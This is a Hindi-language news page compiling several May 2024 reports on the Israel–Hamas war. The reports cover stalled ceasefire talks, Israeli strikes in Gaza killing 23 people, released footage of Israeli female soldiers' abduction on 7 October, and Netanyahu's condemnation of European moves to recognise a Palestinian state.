हमास ने एक वीडियो जारी किया, जिसमें खून से लथपथ एक व्यक्ति को सुरंग में घसीटते हुए दिखाया गया। हालांकि, यह वीडियो कब की है इसकी पुष्टि नहीं की गई है। अबु उबैदा की यह टिप्पणी शनिवार को गाजा में युद्धविराम वार्ता फिर से शुरू होने की संभावना बढ़ने के कुछ घंटों के बाद आई। इस मामले की जानकारी रखने वाले एक अधिकारी ने बताया कि इस्राइल की खुफिया एजेंसी मोसाद के प्रमुख की सीआईए प्रमुख और कतर के प्रधानमंत्री से मुलाकात के बाद अगले हफ्ते बातचीत फिर से शुरू करने का फैसला लिया गया है।

हमास ने युद्धविराम वार्ता को लेकर इस्राइली रिपोर्टों को किया खारिज
नाम न बताने की शर्त पर एक सूत्र ने बताया कि आने वाले सप्ताह में मध्यस्थों मिस्र, कतर और अमेरिका के नेतृत्व में नए प्रस्तावों पर बातचीत फिर से शुरू होगी। हमास के अधिकारी ने इस्राइली मीडिया रिपोर्टों को खारिज कर दिया, जिसमें बताया गया कि मंगलवार को काहिरा में बातचीत फिर से शुरू की जाएगी। उन्होंने (हमास अधिकारी) कहा कि फिलहाल इसे लेकर किसी भी तारीख की घोषणा नहीं की गई है।
इस्राइल-हमास के बीच जारी संघर्ष को सात महीने हो चुके हैं, लेकिन मधयस्थ अभी तक युद्धविराम को लेकर कोई स्थाई उपाय नहीं निकाल पाए। इस्राइल हमास द्वारा बंधक बनाए गए बंधकों की रिहाई की मांग कर रहा, तो वहीं हमास युद्धविराम के साथ इस्राइली जेलों में बंद फलस्तीनियों की रिहाई की मांग पर अड़ा है।

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गाजा में इजरायली हमलों में 23 की मौत https://pratyushaashakinayikiran.com/?p=33638 Fri, 24 May 2024 10:36:00 +0000 https://pratyushaashakinayikiran.com/?p=33638 गाजा में इजरायली हमलों में 23 की मौत

इजरायली महिला सैनिकों के अपहरण का वीडियो सामने आया

फिलिस्तीनी राज्य को मान्यता देना 'आतंकवाद के लिए इनाम' जैसा : नेतन्याहू

गाजा
 गाजा पट्टी के विभिन्न हिस्सों में इजरायली छापे और हमले में कम से कम 23 फिलिस्तीनी मारे गए हैं। समाचार एजेंसी सिन्हुआ की रिपोर्ट के अनुसार, बुधवार रात से सुबह तक गाजा पट्टी में इजरायली हमले जारी रहे। सूत्रों के अनुसार, इजरायली विमानों ने उत्तरी गाजा में जबालिया शरणार्थी शिविर के पश्चिम में एक घर को निशाना बनाया, जिसमें छह लोगों की मौत हो गई और छह अन्य घायल हो गए।

जेट विमानों ने अल-ज़वैदा शहर में विस्थापित लोगों के एक घर पर बमबारी की, जिसमें 10 लोग मारे गए। इसके अलावा, इजराइली विमानों ने गाजा शहर के दक्षिण में अल-ज़ायतौन में हमला किया, जिसमें दो लोगों की मौत हो गई।

प्रत्यक्षदर्शियों ने बताया कि इजरायली सेना ने मध्य गाजा में नुसीरात शरणार्थी शिविर के पूर्वी इलाके में बमबारी की, जिससे काफी नुकसान हुआ। इस बीच, दक्षिणी गाजा शहर रफा में, इजरायली हवाई हमले और बमबारी के कारण पांच फिलिस्तीनी मारे गए और सात अन्य घायल हो गए।

फिलिस्तीनी सुरक्षा सूत्रों ने सिन्हुआ को बताया कि इजरायली सेना मिस्र की सीमा के पास रफा में पश्चिम की ओर बढ़ रही है। इससे पहले फिलिस्तीन शरणार्थियों के लिए संयुक्त राष्ट्र राहत और कार्य एजेंसी (यूएनआरडब्ल्यूए) ने सुरक्षा को लेकर रफा में खाद्य वितरण कार्यक्रम को निलंबित कर दिया था जिससे लोगों के लिए एक नया संकट पैदा हो गया है।

 

इजरायली महिला सैनिकों के अपहरण का वीडियो सामने आया

तेल अवीव
 हमास द्वारा 7 अक्टूबर को किए गए नरसंहार के दौरान पांच इजरायली महिला सैनिकों के अपहरण का वीडियो फुटेज जारी किया गया है।

युवा महिलाओं के माता-पिता इस उम्मीद में  वीडियो जारी करने पर सहमत हुए कि भयावह छवियां इजरायल और फिलिस्तीनी इस्लामवादी हमास आंदोलन के बीच एक समझौते में उनकी बेटियों और अन्य बंधकों की रिहाई में योगदान दे सकती हैं।

वीडियो में खून से लथपथ घायल युवतियों को भारी हथियारों से लैस आतंकवादियों के साथ देखा जा सकता है। ये युवतियां गाजा पट्टी सीमा क्षेत्र में सेना पर्यवेक्षकों के रूप में ड्यूटी पर थीं। वे डरी हुई हैं और उनके हाथ उनकी पीठ के पीछे बंधे हुए हैं।

वीडियो में अपहरणकर्ता उन पर चिल्ला रहे हैं और उन्हें धमका रहे हैं। महिलाओं को पहले एक कमरे में रखा जाता है और फिर एक वाहन में ले जाया जाता है, जहां वे फर्श पर एक साथ लेट जाती हैं।

बंधक परिवार फोरम ने एक बयान में कहा, "यह वीडियो बंधकों को घर लाने में देश की विफलता का एक गंभीर प्रमाण है। इन्हें 229 दिनों बाद छोड़ा गया।" बयान में कहा गया, "फुटेज से पता चलता है कि अपहरण के दिन लड़कियों ने किस तरह का हिंसक, अपमानजनक और दर्दनाक व्यवहार सहा था, उनकी आंखें खौफ से भरी हुई थीं।"

वीडियो तीन मिनट से अधिक लंबा है। यह आतंकवादियों द्वारा लिए गए बॉडीकैम फुटेज का संकलन है। सबसे खराब दृश्य, जैसे लाशों के फुटेज और सबसे गंभीर हिंसा, कथित तौर पर नहीं दिखाए गए।

 

फिलिस्तीनी राज्य को मान्यता देना 'आतंकवाद के लिए इनाम' जैसा : नेतन्याहू

तेल अवीव
 इजरायल के प्रधानमंत्री बेंजामिन नेतन्याहू ने नॉर्वे, आयरलैंड और स्पेन द्वारा घोषित एक स्वतंत्र फिलिस्तीनी राज्य की मान्यता के खिलाफ चेतावनी दी है।

नेतन्याहू ने  एक बयान में कहा, "फिलिस्तीनी राज्य को मान्यता देने का कई यूरोपीय देशों का इरादा है जो आतंकवाद का इनाम है।" उन्होंने जोर देकर कहा, "यहूदिया और सामरिया (वेस्ट बैंक) में 80 प्रतिशत फिलिस्तीनी 7 अक्टूबर के भयानक नरसंहार का समर्थन करते हैं। इस बुराई को कोई राज्य नहीं दिया जा सकता।"

इजरायली प्रधानमंत्री ने जोर देकर कहा, "यह एक आतंकवादी राज्य होगा। यह 7 अक्टूबर के नरसंहार को बार-बार दोहराने की कोशिश करेगा, मगर हम इसके लिए सहमत नहीं होंगे।" नेतन्याहू ने कहा, "आतंकवाद को पुरस्कृत करने से शांति नहीं आएगी और न ही यह हमें हमास को हराने से रोकेगा।"

इजरायल-फिलिस्तीनी संघर्ष के दो-राज्य समाधान में एक स्वतंत्र फिलिस्तीनी राज्य की परिकल्पना की गई है जो इजरायल के साथ शांतिपूर्वक रहे। नेतन्याहू दो-राज्य समाधान का विरोध करते हैं, जिसके लिए फिलिस्तीनी इस्लामवादी हमास आंदोलन कर रहा है।

फिलिस्तीनियों के साथ संबंधों के लिए अधिक सौहार्दपूर्ण दृष्टिकोण के लिए इजरायली प्रधानमंत्री को अपने अति-दक्षिणपंथी गठबंधन सहयोगियों से बहुत कम समर्थन मिलेगा। आलोचकों ने नेतन्याहू पर बार-बार गाजा पट्टी में हमास के उत्थान को बर्दाश्त करने या उसे प्रोत्साहित करने का आरोप लगाया है।

राष्ट्रपति महमूद अब्बास के अधिक उदार फतह के प्रतिद्वंद्वी के रूप में इसने फिलिस्तीनी राज्य को रोकने के लिए फिलिस्तीनी लोगों को विभाजित किया है। कई दक्षिणपंथी इजरायली फिलिस्तीनी राज्य को इजरायल के लिए एक असहनीय सुरक्षा जोखिम मानते हैं।

 

 

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